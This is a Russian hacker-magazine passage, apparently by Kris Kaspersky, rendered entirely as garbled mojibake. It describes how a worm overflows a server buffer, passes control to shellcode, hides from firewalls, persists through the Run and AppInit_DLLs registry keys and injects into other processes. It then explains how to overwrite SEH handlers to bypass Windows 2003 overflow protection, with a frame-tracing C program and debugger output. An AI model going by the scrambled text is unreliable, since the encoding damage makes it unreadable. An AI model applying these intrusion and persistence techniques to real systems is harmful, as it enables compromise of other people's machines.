íåé ÷åðâè ðàç â íåñêîëüêî ïîêîëåíèé
èãíîðèðóþò ïðèçíàê çàðàæåíèÿ è çàõ-
âàòûâàþò óçåë ïîâòîðíî, ÷åì è ïðè-
âîäÿò ñâîþ ïîïóëÿöèþ ê ãèáåëè, èáî
âñå óçëû èíôèöèðóþòñÿ ìíîãîêðàòíî
è ÷åðåç íåêîòîðîå âðåìÿ íà÷èíàþò
êèøåòü ÷åðâÿìè, ñæèðàþùèìè âñå
ñèñòåìíûå ðåñóðñû ñî âñåìè âûòåêà-
þùèìè ïîñëåäñòâèÿìè.

Âûáðàâ æåðòâó äëÿ âòîðæåíèÿ,
÷åðâü ïîñûëàåò ñåðâåðó çàïðîñ, ïåðå-
ïîëíÿþùèé áóôåð è ïåðåäàþùèé
áðàçäû ïðàâëåíèÿ shell-êîäó, êîòîðûé
ìîæåò áûòü ïåðåäàí êàê âìåñòå ñ ïå-

ðåïîëíÿþùèìñÿ çàïðîñîì, òàê è îò-
äåëüíî. Òàêàÿ ñòðàòåãèÿ âòîðæåíèÿ
íàçûâàåòñÿ ìíîãîñòàäèéíîé, è åå ðåà-
ëèçóåò, â ÷àñòíîñòè, ÷åðâü Slapper.

Ïðè ïîäãîòîâêå shell-êîäà ñëåäóåò
ïîìíèòü î áðàíäìàóýðàõ, àíàëèçèðóþ-
ùèõ ñîäåðæèìîå çàïðîñîâ è îòñåêàþ-
ùèõ âñå ïîäîçðèòåëüíûå ïàêåòû. Ýòèì
çàíèìàþòñÿ, â òîì ÷èñëå, ôèëüòðû
óðîâíÿ ïðèëîæåíèé. ×òîáû èçáåæàòü
ðàññòðåëà, shell-êîä äîëæåí ñîîòâåò-
ñòâîâàòü âñåì òðåáîâàíèÿì ñïåöèôè-
êàöèè ïðîòîêîëà è áûòü ñèíòàêñè÷åñ-
êè íåîòëè÷èìûì îò íîðìàëüíûõ êî-
ìàíä. Âåäü ôèëüòð àíàëèçèðóåò îò-
íþäü íå ñîäåðæèìîå (íà ýòî ó íåãî
êèøêà òîíêà), à ëèøü ôîðìó çàïðîñà.

Åñëè çàõâàò óïðàâëåíèÿ ïðîéäåò óñ-
ïåøíî, shell-êîä äîëæåí áóäåò íàéòè
äåñêðèïòîð TCP/IP-ñîåäèíåíèÿ, ÷åðåç
êîòîðîå îí áûë çàñëàí, è ïîäòÿíóòü
îñòàâøèéñÿ õâîñò. Ïðîùå, êîíå÷íî,
áûëî áû çàòàùèòü õâîñò ÷åðåç îò-
äåëüíîå TCP/IP-ñîåäèíåíèå, íî, åñëè
ïðîòèâíèê îêðóæèë ñåáÿ ãðàìîòíî
íàñòðîåííûì áðàíäìàóýðîì, âðÿä ëè
âû ÷åðåç íåãî ïðîáüåòåñü. À âîò èñ-
ïîëüçîâàòü óæå óñòàíîâëåííûå
TCP/IP-ñîåäèíåíèÿ íèêàêîé áðàíäìàó-
ýð íå çàïðåùàåò.

È âîò âñÿ ãðóïïà â ñáîðå. Ðîåì îêî-
ïû îò çàáîðà è äî îáåäà! Ñàìîå ãëó-
ïîå, ÷òî òîëüêî ìîæåò ïðåäïðèíÿòü
ñïåöíàç, ýòî ñãðóçèòü ñâîþ òóøó â èñ-
ïîëíÿåìûé ôàéë, çàòåðÿâøèéñÿ â ãóñ-
òîíàñåëåííûõ òðóùîáàõ
Windows\System32 è àâòîìàòè÷åñêè
çàãðóæàþùèéñÿ ïðè êàæäîì ñòàðòå
ñèñòåìû ïî êëþ÷ó
HKLM\Software\Microsoft\Windows\Cur
rentVersion\Run. Õîðîøåå ìåñòî äëÿ
çàñàäû, íå÷åãî ñêàçàòü! Ñòîèò äîòÿ-
íóòüñÿ àäìèíèñòðàòîðó äî êëàâèàòóðû,
êàê îò ÷åðâÿ è ìîêðîãî ìåñòà íå îñòà-
íåòñÿ. À âîò åñëè ÷åðâü âíåäðÿåòñÿ â
èñïîëíÿåìûå ôàéëû íà ìàíåð ôàéëî-
âûõ âèðóñîâ, òî åãî óäàëåíèå ïîòðåáó-
åò íàìíîãî áîëüøå âðåìåíè è óñèëèé.

Äëÿ ïðîíèêíîâåíèÿ â àäðåñíîå
ïðîñòðàíñòâî ÷óæîãî ïðîöåññà ÷åðâü
äîëæåí ëèáî ñîçäàòü â íåì óäàëåí-
íûé ïîòîê, âûçâàâ ôóíêöèþ
CreateRemoteThread, ëèáî ïðîïàò-
÷èòü íåïîñðåäñòâåííî ñàì ìàøèííûé
êîä, âûçâàâ WriteProcessMemory (ðà-
çóìååòñÿ, ðå÷ü èäåò ëèøü îá NT-ïî-
äîáíûõ ñèñòåìàõ, UNIX òðåáóåò ê ñåáå
ïðèíöèïèàëüíî èíîãî ïîäõîäà).

Êàê âàðèàíò, ìîæíî ïðîïèñàòüñÿ â
âåòêå ðååñòðà, îòâåòñòâåííîé çà àâòî-
ìàòè÷åñêóþ çàãðóçêó äèíàìè÷åñêèõ
áèáëèîòåê â àäðåñíîå ïðîñòðàíñòâî
êàæäîãî çàïóñêàåìîãî ïðîöåññà:
HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Windows\AppInit_D
LLs. Òîãäà ÷åðâü ïîëó÷èò ïîëíûé
êîíòðîëü íàä âñåìè ñîáûòèÿìè, ïðî-
èñõîäÿùèìè â ñèñòåìå, íàïðèìåð,
áëîêèðóÿ çàïóñê íåóãîäíûõ åìó ïðîã-
ðàìì. Èíòåðåñíî, ñêîëüêî øòàíîâ
ïðîòðåò àäìèíèñòðàòîð, ïðåæäå ÷åì
ðàçáåðåòñÿ, â ÷åì äåëî?

Îêîïàâøèñü â ñèñòåìå, ÷åðâü ïðèñ-
òóïàåò ê ïîèñêó íîâûõ æåðòâ è ðàñ-
ñûëêå ñâîåé ãîëîâû ïî ïîäõîäÿùèì
àäðåñàì; ïðåäâàðèòåëüíî îí óìåíü-
øàåò ñâîé áèîëîãè÷åñêèé ñ÷åò÷èê íà
åäèíèöó, à êîãäà òîò äîñòèãíåò íóëÿ -
ñàìîëèêâèäèðóåòñÿ.

Òàêîâ â îáùèõ ÷åðòàõ æèçíåííûé
öèêë ÷åðâÿ, òàêîâà åãî êàðìà.

ÇÀÊËÞ×ÅÍÈÅ
×åðâè ïðèõîäÿò èç ìðàêà íåáûòèÿ,

ðîæäàÿñü â ïîäñîçíàíèè ñâîèõ ñîçäà-
òåëåé, è óõîäÿò òóäà æå. ×åðâè íå óìè-
ðàþò. Áëàãîäàðÿ íîâûì èäåÿì îíè
òðàíñôîðìèðóþòñÿ, ïåðåâîïëîùàþò-
ñÿ. Áóäóùåå âñåìèðíîé ñåòè â âàøèõ
ðóêàõ, äðóçüÿ.  E
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×åðâü ïîëó÷àåò îòâåò, èäåíòèôèöèðóþùèé ïîäõîäÿùóþ æåðòâó, è çàáðàñûâàåò ãîëî-
âó, íà÷èíåííóþ shell-êîäîì

Ãîëîâà ïåðåïîëíÿåò áóôåð, çàõâàòûâàåò óïðàâëåíèå è ïîäòÿãèâàåò îñíîâíîé õâîñò

Çàõâà÷åííûé óçåë ñòàíîâèòñÿ íîâûì áàñòèîíîì äëÿ äàëüíåéøåãî ðàñïðîñòðàíåíèå
÷åðâÿ
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×åðâÿêó
ëó÷øå íå
ñîçäàâàòü
íîâûõ ñîå-
äèíåíèé,
ïîòîìó ÷òî
åìó âðÿä ëè
óäàñòñÿ
ïðîáèòüñÿ
÷åðåç ãðà-
ìîòíî íàñò-
ðîåííûé
áðàíäìàóýð.



Êðèñ Êàñïåðñêè aka ìûùúõ 

Ï åðåçàïèñü SEH-îáðàáîò÷èêà - ýòî ìîäíûé è îòíîñèòåëüíî ìîëîäîé ìåõàíèçì áîðüáû ñ çàùèòîé îò ïåðåïîëíåíèÿ
áóôåðîâ â Windows 2003 Server, òàêæå íàõîäÿùèé ñåáå è äðóãèå ïðèìåíåíèÿ. Ýòî îòëè÷íûé ñïîñîá ïåðåõâàòà

óïðàâëåíèÿ è ïîäàâëåíèÿ ñîîáùåíèé î êðèòè÷åñêèõ îøèáêàõ, äåìàñêèðóþùèõ ôàêò àòàêè.

SEH ÍÀ ÑËÓÆÁÅ 
Ó ÊÎÍÒÐÐÅÂÎËÞÖÈÈ
ÐÓÊÎÂÎÄÑÒÂÎ ÏÎ ÏÅÐÅÇÀÏÈÑÈ SEH-ÎÁÐÀÁÎÒ×ÈÊÀ

òðóêòóðíîé îáðàáîòêîé
èñêëþ÷åíèé (Structured
Exception Handling -
SEH, â øóòêó ðàñøèô-
ðîâûâàåìûé êàê Sexual

Exception Handling) íàçûâàåòñÿ ìåõà-
íèçì, ïîçâîëÿþùèé ïðèëîæåíèÿì ïî-
ëó÷àòü óïðàâëåíèå ïðè âîçíèêíîâå-
íèè èñêëþ÷èòåëüíûõ ñèòóàöèé (íàï-
ðèìåð, íàðóøåíèÿõ äîñòóïà ê ïàìÿòè,
äåëåíèè íà íîëü, âûïîëíåíèè çàïðå-
ùåííîé èíñòðóêöèè) è îáðàáàòûâàòü
èõ ñàìîñòîÿòåëüíî, íå âìåøèâàÿ â
ýòî îïåðàöèîííóþ ñèñòåìó. Íåîáðàáî-
òàííûå èñêëþ÷åíèÿ ïðèâîäÿò ê àâà-
ðèéíîìó çàâåðøåíèþ ïðèëîæåíèÿ,
îáû÷íî ñîïðîâîæäàþùåìóñÿ âñåì
èçâåñòíûì îêíîì "Ïðîãðàììà âûïîë-
íèëà íåäîïóñòèìóþ îïåðàöèþ è áóäåò
çàêðûòà".

Óêàçàòåëè íà SEH-îáðàáîò÷èêè â ïî-
äàâëÿþùåì áîëüøèíñòâå ñëó÷àåâ
ðàñïîëàãàþòñÿ â ñòåêå, â òàê íàçûâàå-
ìûõ SEH-ôðåéìàõ, è ïåðåïîëíÿþùèå-
ñÿ áóôåðà ìîãóò çàòèðàòü èõ. Ïåðåçà-
ïèñü SEH-ôðåéìîâ îáû÷íî ïðåñëåäó-
åò äâå öåëè: ïåðåõâàò óïðàâëåíèÿ ïó-
òåì ïîäìåíû SEH-îáðàáîò÷èêà è ïî-
äàâëåíèå àâàðèéíîãî çàâåðøåíèÿ
ïðîãðàììû ïðè âîçíèêíîâåíèè èñê-
ëþ÷åíèÿ. Çàùèòà îò ïåðåïîëíåíèÿ áó-
ôåðà, âñòðîåííàÿ â Windows 2003
Server, êàê è ìíîãèå äðóãèå çàùèòû
äàííîãî òèïà, ôóíêöèîíèðóåò èìåííî
íà îñíîâå SEH. Ïåðåõâàòûâàÿ SEH-îá-
ðàáîò÷èê è ïîäìåíÿÿ åãî ñâîèì, ìû
òåì ñàìûì ïåðåêðûâàåì êèñëîðîä çà-
ùèòå, è îíà íå ñðàáàòûâàåò.

Çàõâàòûâàþùèå ïåðñïåêòèâû, íå
ïðàâäà ëè? Âî âñÿêîì ñëó÷àå, îíè ñòî-
ÿò òîãî, ÷òîáû â íèõ ðàçîáðàòüñÿ!

ÊÐÀÒÊÎ Î ÑÒÐÓÊÒÓÐÍÛÕ
ÈÑÊËÞ×ÅÍÈßÕ

Àäðåñ òåêóùåãî SEH-ôðåéìà ñî-
äåðæèòñÿ â äâîéíîì ñëîâå ïî ñìåùå-
íèþ íîëü îò ñåëåêòîðà FS, äëÿ èçâëå-
÷åíèÿ êîòîðîãî ìîæíî âîñïîëüçî-
âàòüñÿ ñëåäóþùåé àññåìáëåðíîé àá-
ðàêàäàáðîé: 

mov eax,FS:[00000000h]
mov my_var,eax. 

Îí óêàçûâàåò íà ñòðóêòóðó òèïà
EXCEPTION_REGISTRATION, ïðîòîòèï
êîòîðîé îïèñûâàåòñÿ òàê:

_EXCEPTION_REGISTRATION struc
prev dd ?

; àäðåñ ïðåäûäóùåãî SEH-ôðåéìà
handler dd ?

; àäðåñ SEH-îáðàáîò÷èêà
_EXCEPTION_REGISTRATION ends

Ïðè âîçáóæäåíèè èñêëþ÷åíèÿ óïðàâ-
ëåíèå ïåðåäàåòñÿ òåêóùåìó SEH-îáðà-
áîò÷èêó. Ïðîàíàëèçèðîâàâ ñèòóàöèþ,
SEH-îáðàáîò÷èê, êîòîðûé ïðåäñòàâëÿåò
ñîáîé îáû÷íóþ cdecl-ôóíêöèþ, äîëæåí
âîçâðàòèòü ëèáî
ExceptionContinueExecution, ñîîáùàÿ
îïåðàöèîííîé ñèñòåìå, ÷òî èñêëþ÷åíèå
óñïåøíî îáðàáîòàíî è èñïîëíåíèå
ïðîãðàììû ìîæåò áûòü ïðîäîëæåíî,
ëèáî ExceptionContinueSearch, åñëè îí
íå çíàåò, ÷òî ñ ýòèì èñêëþ÷åíèåì äå-
ëàòü, è òîãäà îïåðàöèîííàÿ ñèñòåìà ïå-
ðåõîäèò ê ñëåäóþùåìó îáðàáîò÷èêó â
öåïî÷êå (ñîáñòâåííî ãîâîðÿ, âîçâðà-
ùàòü óïðàâëåíèå íåîáÿçàòåëüíî, è
SEH-îáðàáîò÷èê ìîæåò óäåðæèâàòü åãî
õîòü äî áåñêîíå÷íîñòè, êàê îáðàáîò÷è-
êè, óñòàíîâëåííûå shell-êîäîì, îáû÷íî
è ïîñòóïàþò).

Ïîñëåäíèì èäåò îáðàáîò÷èê, íàçíà-
÷åííûé îïåðàöèîííîé ñèñòåìîé ïî
óìîë÷àíèþ. Âèäÿ, ÷òî äåëî òðóáà è íèê-
òî ñ èñêëþ÷åíèåì íå ñïðàâëÿåòñÿ, îí
ëåçåò â ðååñòð, èçâëåêàåò îòòóäà êëþ÷
HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\AeDebug, è â çàâè-
ñèìîñòè îò åãî ñîñòîÿíèÿ ëèáî ïðèõ-
ëîïûâàåò çàñáîèâøåå ïðèëîæåíèå,
ëèáî ïåðåäàåò óïðàâëåíèå îòëàä÷èêó
(èëè, êàê âàðèàíò, Äîêòîðó Âàòñîíó).

Ïðè ñîçäàíèè íîâîãî ïðîöåññà îïå-
ðàöèîííàÿ ñèñòåìà àâòîìàòè÷åñêè äî-
áàâëÿåò ê íåìó ïåðâè÷íûé SEH-
ôðåéì ñ îáðàáîò÷èêîì ïî óìîë÷àíèþ,
ëåæàùèé ïðàêòè÷åñêè íà ñàìîì äíå
ñòåêîâîé ïàìÿòè, âûäåëåííîé ïðîöåñ-
ñó. "Äîòÿíóòüñÿ" äî íåãî ïîñëåäîâà-
òåëüíûì ïåðåïîëíåíèè ïðàêòè÷åñêè
íåðåàëüíî, òàê êàê äëÿ ýòîãî ïîòðåáó-
åòñÿ ïåðåñå÷ü âåñü ñòåê öåëèêîì! Òà-
êèõ êàòàñòðîôè÷åñêèõ ïåðåïîëíåíèé
ñòàðîæèëû íå âñòðå÷àëè óæå ëåò ñòî!

Ñòàðòîâûé êîä ïðèëîæåíèÿ, ïðèöåï-
ëÿåìûé êîìïîíîâùèêîì ê ïðîãðàììå,
äîáàâëÿåò ñâîé ñîáñòâåííûé îáðàáîò-
÷èê (õîòÿ è íå îáÿçàí ýòî äåëàòü), êî-
òîðûé òàêæå ðàçìåùàåòñÿ â ñòåêå íà-
ìíîãî âûøå ïåðâè÷íîãî îáðàáîò÷èêà,
íî âñå æå íåäîñòàòî÷íî áëèçêî ê ïåðå-
ïîëíÿþùèìñÿ áóôåðàì, êîòîðûì ïîò-
ðåáóåòñÿ ïåðåñå÷ü ñòåêîâûå ôðåéìû
âñåõ ìàòåðèíñêèõ ôóíêöèé, ïîêà îíè
íå äîáåðóòñÿ äî ëîêàëüíîé ïàìÿòè
ñòàðòîâîé ôóíêöèè ïðèëîæåíèÿ.

Ðàçðàáîò÷èê ìîæåò íàçíà÷àòü è
ñâîè îáðàáîò÷èêè, àâòîìàòè÷åñêè ñîç-
äàþùèåñÿ ïðè óïîìèíàíèè âîëøåá-
íûõ ñëîâ try è except (òàêèå îáðàáîò-
÷èêè ìû áóäåì íàçûâàòü ïîëüçîâà-
òåëüñêèìè). Íåñìîòðÿ íà âñå óñèëèÿ
Microsoft îñíîâíàÿ ìàññà ïðîãðàììèñ-
òîâ ñîâåðøåííî ðàâíîäóøíà ê ñòðóê-
òóðíîé îáðàáîòêå èñêëþ÷åíèé (íåêî-
òîðûå èç íèõ äàæå òàêîãî ñëîâà íå
ñëûøàëè!), ïîýòîìó âåðîÿòíîñòü
âñòðåòèòü â óÿçâèìîé ïðîãðàììå
ïîëüçîâàòåëüñêèé SEH-ôðåéì äîñòà-
òî÷íî íåâåëèêà, íî âñå æå îíà åñòü Â
ïðîòèâíîì ñëó÷àå äëÿ ïîäìåíû SEH-
îáðàáîò÷èêà (à ïåðâè÷íûé SEH-îáðà-
áîò÷èê â íàøåì ðàñïîðÿæåíèè åñòü
âñåãäà) ïðèäåòñÿ ïðèáåãíóòü ê èíäåêñ-
íîìó ïåðåïîëíåíèþ èëè ïñåâäîôóíê-
öèè poke, î êîòîðîé óæå øëà ðå÷ü â
äðóãèõ ñòàòüÿõ íîìåðà.

Äëÿ èññëåäîâàíèÿ ñòðóêòóðíûõ îá-
ðàáîò÷èêîâ èñêëþ÷åíèé íàïèøåì íå-
õèòðóþ ïðîãðàììêó, òðàññèðóþùóþ
SEH-ôðåéìû è âûâîäÿùóþ èõ ñîäåð-
æèìîå íà ýêðàí. Çàêîí÷åííàÿ ðåàëèçà-
öèÿ ìîæåò âûãëÿäåòü, íàïðèìåð, òàê:

main(int argc, char **argv)
{
int *a, xESP;
__try{
__asm{
mov eax,fs:[0];
mov a,eax
mov xESP, esp

} printf("ESP: %08Xh\n",xESP);
while((int)a != -1)
{
printf("EXCEPTION_REGISTRATION.prev:

%08Xh\n"\
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Çàùèòà îò
ïåðåïîëíå-
íèÿ áóôåðà,
âñòðîåííàÿ
â Windows
2003
Server,
ôóíêöèîíè-
ðóåò èìåííî
íà îñíîâå
SEH.

SEH â øóò-
êó ðàñøèô-
ðîâûâàþò
êàê Sexual
Exception
Handling.
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"EXCEPTION_REGISTRATION.handler:
%08Xh\n\n", a, *(a+1));

a = (int*) *a;
}

}
__except (1 /*EXCEPTION_EXECUTE_HANDLER

*/) {
printf("exception\x7\n");

}

return 0;
}

Îòêîìïèëèðîâàâ ïðîãðàììó è çàïóñ-
òèâ åå íà âûïîëíåíèå, ìû ïîëó÷èì
ñëåäóþùèé ðåçóëüòàò (åñòåñòâåííî,
àäðåñà SEH-ôðåéìîâ è îáðàáîò÷èêîâ
â òâîåì ñëó÷àå, ñêîðåå âñåãî, áóäóò
äðóãèìè):        

1 - âîçíèêëà èñêëþ÷èòåëüíàÿ ñèòóàöèÿ;
2 - îïåðàöèîííàÿ ñèñòåìà àíàëèçèðóåò TIB (Thread Information Bock -

Èíôîðìàöèîííûé Áëîê Ïîòîêà) äëÿ ïîèñêà ïåðâîãî SEH-ôðåéìà

â öåïî÷êå;
3 - îïåðàöèîííàÿ ñèñòåìà ïåðåäàåò óïðàâëåíèå ïåðâîìó SEH-îáðà-

áîò÷èêó;
4 - îáðàáîò÷èê ïðèêèäûâàåòñÿ øëàãîì è óõîäèò â îòêàç;
5 - îïåðàöèîííàÿ ñèñòåìà ïåðåõîäèò ê ñëåäóþùåìó ôðåéìó â öå-

ïî÷êå;
6 - îïåðàöèîííàÿ ñèñòåìà ïåðåäàåò óïðàâëåíèå SEH-îáðàáîò÷èêó;
7 - ýòîò îáðàáîò÷èê íå çíàåò, ÷òî äåëàòü ñ èñêëþ÷åíèåì;
8 - îïåðàöèîííàÿ ñèñòåìà ïåðåõîäèò ê ñëåäóþùåìó ôðåéìó;
9 - îïåðàöèîííàÿ ñèñòåìà ïåðåäàåò óïðàâëåíèå SEH-îáðàáîò÷èêó;
10 - ýòîò îáðàáîò÷èê îáðàáàòûâàåò èñêëþ÷åíèå (íå îáðàáîòàòü åãî

îí íå ìîæåò, òàê êàê ýòî ïåðâè÷íûé îáðàáîò÷èê, ïðîñòî ïðèõëîïû-

âàþùèé ïðèëîæåíèå îò áåçûñõîäíîñòè).

ÃËÎÁÀËÜÍÎÅ ÐÀÇÂÅÐÒÛÂÀÍÈÅ ÖÅÏÎ×ÊÈ
ÑÒÐÓÊÒÓÐÍÛÕ ÈÑÊËÞ×ÅÍÈÉ



Ïîëüçîâàòåëüñêèé SEH-ôðåéì,
ñôîðìèðîâàííûé êëþ÷åâûì ñëîâîì
try, ëåæèò â íåïîñðåäñòâåííîé áëè-
çîñòè îò âåðøèíû ñòåêà òåêóùåé
ôóíêöèè, è åãî îòäåëÿþò âñåãî 1Ñh
áàéò (åñòåñòâåííî, êîíêðåòíîå çíà÷å-
íèå çàâèñèò îò ðàçìåðà ïàìÿòè, âûäå-
ëåííîé ïîä ëîêàëüíûå ïåðåìåííûå,
íó è åùå êîå îò ÷åãî).

Ñëåäóþùèì â öåïî÷êå èäåò ôðåéì,
ñôîðìèðîâàííûé ñòàðòîâûì êîäîì.
Îí ðàñïîëîæåí íàìíîãî íèæå: îò
âåðøèíû ñòåêà åãî îòäåëÿþò àæ 5Ñh
áàéò - è ýòî â äåìîíñòðàöèîííîé
ïðîãðàììå, ñîäåðæàùåé ìèíèìóì
ïåðåìåííûõ!

Ïåðâè÷íûé ôðåéì, íàçíà÷àåìûé
îïåðàöèîííîé ñèñòåìîé, îòñòîèò îò
âåðøèíû ñòåêà íà öåëûõ 8Ñh áàéò, à â
ðåàëüíûõ ïîëíîâåñíûõ ïðèëîæåíèÿõ
è òîãî áîëüøå (èäåíòèôèöèðîâàòü
ïåðâè÷íûé ôðåéì ìîæíî ïî "íåíîð-
ìàëüíîìó" àäðåñó SEH-îáðàáîò÷èêà,
ëåæàùåãî â ñòàðøèõ àäðåñàõ ïåðâîé
ïîëîâèíû àäðåñíîãî ïðîñòðàíñòâà).
Åãî ëèíåéíûé àäðåñ, ðàâíûé 12FFE0h,
èäåíòè÷åí äëÿ ïåðâîãî ïîòîêà âñåõ
ïðîöåññîâ, çàïóùåííûõ â äàííîé âåð-
ñèè îïåðàöèîííîé ñèñòåìû, ÷òî ñîçäà-
åò áëàãîïðèÿòíûå óñëîâèÿ äëÿ åãî
ïîäìåíû. Îäíàêî äëÿ ãàðàíòèðîâàí-
íîãî ïåðåõâàòà óïðàâëåíèÿ shell-êîä
äîëæåí ïåðåõâàòûâàòü òåêóùèé, à íå
ïåðâè÷íûé îáðàáîò÷èê, ïîñêîëüêó äî
ïåðâè÷íîãî îáðàáîò÷èêà èñêëþ÷åíèå
ìîæåò è íå äîæèòü. Ïðîâåðü, åñëè ïðè
ïåðåïîëíåíèè áóôåðà áåññìûñëåí-
íîé ñòðîêîé íàïîäîáèå "XXXXX" âîç-
íèêàåò ñòàíäàðòíîå äèàëîãîâîå îêíî
êðèòè÷åñêîé îøèáêè, ïîäìåíÿòü ïåð-
âè÷íûé îáðàáîò÷èê ìîæíî, â ïðîòèâ-
íîì ñëó÷àå åãî ïåðåçàïèñü íè÷åãî íå
äàñò è shell-êîä ñäîõíåò ïðåæäå, ÷åì
óñïååò ïîëó÷èòü óïðàâëåíèå.

Ïåðâè÷íûé ôðåéì âñåõ ïîñëåäóþ-
ùèõ ïîòîêîâ ðàñïîëàãàåòñÿ íà
dwStackSize áàéò âûøå ïðåäûäóùåãî
ôðåéìà, ãäå dwStackSize - ðàçìåð ïà-
ìÿòè, âûäåëåííîé ïîòîêó (ïî óìîë-
÷àíèþ 4 Ìáàéò íà ïåðâûé ïîòîê è ïî
1 Ìáàéò íà âñå ïîñëåäóþùèå). Äîðà-
áîòàåì íàøó òåñòîâóþ ïðîãðàììó,
âêëþ÷èâ â íåå ñëåäóþùóþ ñòðîêó:

CreateThread(0, 0, (void*) main, 0,0,
&xESP); gets(&xESP);

Ðåçóëüòàò åå ïðîãîíà ìîæåøü
óâèäåòü íà ñêðèíøîòå.

Çàìåòíî, ÷òî ïåðâè÷íûé SEH-ôðåéì
âñåõ ïîòîêîâ íàõîäèòñÿ íà èäåíòè÷-
íîì ðàññòîÿíèè îò òåêóùåé âåðøèíû
ñòåêà, ÷òî ñóùåñòâåííî îáëåã÷àåò çà-
äà÷ó åãî ïîäìåíû. Ïåðâè÷íûå ôðåé-
ìû ïåðâîãî è âòîðîãî ïîòîêîâ ðàçíå-
ñåíû íà 4 Ìáàéò (51FFDCh - 12FFE0h =
= 0x3EFFFC ~4 Ìáàéò), à îñòàëüíûå -
íà 1 Ìáàéò (61FFDCh - 51FFDCh =
= 71FFDCh - 61FFDCh == 10.00.00 == 1
Ìáàéò), â îáùåì, ðàçîáðàòüñÿ ìîæíî.

Ïîñêîëüêó áîëüøèíñòâî ñåðâåðíûõ
ïðèëîæåíèé êîíñòðóèðóåòñÿ ïî ìíî-
ãîïîòî÷íîé ñõåìå, óìåòü îðèåíòèðî-
âàòüñÿ â ïîòîêàõ æèçíåííî íåîáõîäè-
ìî, èíà÷å âìåñòî ïåðåõâàòà óïðàâëå-
íèÿ àòàêóþùèé ïîëó÷èò ïîëíûé DoS.

ÏÅÐÅÕÂÀÒ ÓÏÐÀÂËÅÍÈß
Ñóùåñòâóåò, ïî ìåíüøåé ìåðå,

äâà ïóòè ïåðåõâàòà óïðàâëåíèÿ. Ïóòü
ïåðâûé: ïðîàíàëèçèðîâàòü óÿçâèìóþ

ïðîãðàììó è îïðåäåëèòü, êàêîé èç îá-
ðàáîò÷èêîâ áóäåò òåêóùèì íà ìîìåíò
ïåðåïîëíåíèÿ è ãäå èìåííî ðàñïîëî-
æåí åãî SEH-ôðåéì (ó÷èòûâàÿ, ÷òî
àäðåñ ïîñëåäíåãî ìîæåò áûòü íåïîñ-
òîÿííûì è çàâèñÿùèì îò ìíîæåñòâà
òðóäíî ïðîãíîçèðóåìûõ îáñòîÿ-
òåëüñòâ, íàïðèìåð, îò ðîäà è õàðàêòå-
ðà çàïðîñîâ, ïðåäøåñòâóþùèõ ïåðå-
ïîëíåíèþ). Òåïåðü ïðèäóìàéòå, êàê
ïåðåïîëíèòü áóôåð òàê, ÷òîáû çàòå-
ðåòü handler, ïîäìåíèâ ñîäåðæàùèé-
ñÿ â íåì óêàçàòåëü íà àäðåñ shell-êî-
äà. Çíà÷åíèå ïîëÿ prev íå èãðàåò íè-
êàêîé ðîëè (shell-êîä âåäü íå ñîáèðà-
åòñÿ ïðîñòî òàê âîçâðàùàòü òàêèì
òðóäîì çàõâà÷åííîå óïðàâëåíèå).

Ïóòü âòîðîé: çàðåãèñòðèðîâàòü
ñâîé ñîáñòâåííûé SEH-ôðåéì. Êàê
æå ìû ñìîæåì ÷òî-òî çàðåãèñòðèðî-
âàòü â ñèñòåìå, åñëè åùå íå ïåðåõ-
âàòèëè óïðàâëåíèÿ? - âîñêëèêíåøü
òû. Óêàçàòåëü íà òåêóùèé îáðàáîò-
÷èê âñåãäà ñîäåðæèòñÿ â îäíîì è
òîì æå ìåñòå - â ïåðâîì äâîéíîì
ñëîâå TIB'à, ëåæàùåãî ïî àäðåñó
fs:[00000000h], è ïñåâäîôóíêöèåé
poke åãî âïîëíå ðåàëüíî ïåðåçàïè-
ñàòü. Ïóñòü âàñ íå ñìóùàåò íàëè÷èå
ñåãìåíòíîãî ðåãèñòðà FS - âñÿ ïà-
ìÿòü, ïðèíàäëåæàùàÿ ïðîöåññó,
îòîáðàæàåòñÿ íà åäèíîå àäðåñíîå
ïðîñòðàíñòâî, è äî TIB'à ìîæíî äîòÿ-
íóòüñÿ è ÷åðåç äðóãèå ñåãìåíòíûå
ðåãèñòðû, íàïðèìåð, ÷åðåç òîò æå
DS, èñïîëüçóåìûé ïðîöåññîðîì ïî
óìîë÷àíèþ. Åñòåñòâåííî, ïðè àäðå-
ñàöèè ÷åðåç DS TIB áóäåò ðàñïîëà-
ãàòüñÿ ñîâñåì ïî äðóãîìó ñìåùå-
íèþ, è, ÷òîáû åãî óçíàòü, ïðèäåòñÿ
ïðèáåãíóòü ê óñëóãàì îòëàä÷èêà. Òû
ìîæåøü èñïîëüçîâàòü Soft-Ice,
Microsoft Kernel Debugger èëè ëþáîé
äðóãîé îòëàä÷èê ïî ñâîåìó âêóñó.

Ñíà÷àëà íåîáõîäèìî îïðåäåëèòü
çíà÷åíèå ñåëåêòîðà, çàãðóæåííîãî â
ðåãèñòð FS. Â Soft-Ice çà ýòî îòâå÷àåò
êîìàíäà "CPU" (åñëè Soft-Ice íàñòðî-
åí ïðàâèëüíî, òî âñå îñíîâíûå ðåãè-
ñòðû àâòîìàòè÷åñêè îòîáðàæàþòñÿ â
âåðõíåé ÷àñòè îêíà). Çàòåì, ïðîñìàò-
ðèâàÿ òàáëèöó ãëîáàëüíûõ äåñêðèï-
òîðîâ, ñîäåðæèìîå êîòîðîé âûâîäèò
êîìàíäà "GDI", íàõîäèì ñîîòâåòñòâó-
þùèé åìó áàçîâûé àäðåñ. Äëÿ ïåðâî-
ãî ïîòîêà ïðîöåññà íà âñåõ NT-ïîäîá-
íûõ ñèñòåìàõ îí ðàâåí FFDFF00h, à
âñå ïîñëåäóþùèå ïîòîêè óìåíüøàþò
åãî íà 1000h, òî åñòü ìû ïîëó÷àåì
ðÿä óêàçàòåëåé âèäà 7FFDE000h,
7FFDD000h, 7FFDC000h...

Â ëþáîì ñëó÷àå, ïðîòåñòèðîâàòü âà-
øó ìàøèíó íå ïîìåøàåò (âäðóã êà-
êàÿ-òî âåðñèÿ NT ïîâåäåò ñåáÿ èíà-
÷å). Ïðîòîêîë ðàáîòû ñ îòëàä÷èêîì
ïðèâîäèòñÿ íèæå.

:cpu
Processor 00 Registers
----------------------
CS:EIP=0008:8046455B
SS:ESP=0010:8047381C
EAX=00000000  EBX=FFDFF000
ECX=FFDFF890  EDX=00000023
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Ñòàòüþ "Îá
Óïàêîâùè-
êàõ Â Ïîñ-
ëåäíèé Ðàç"
ìîæíî íàé-
òè ïî ýòèì
àäðåñàì:
http://www.
wasm.ru/art
icle.php?arti
cle=pack-
last01
http://www.
wasm.ru/art
icle.php?arti
cle=pack-
ers2.

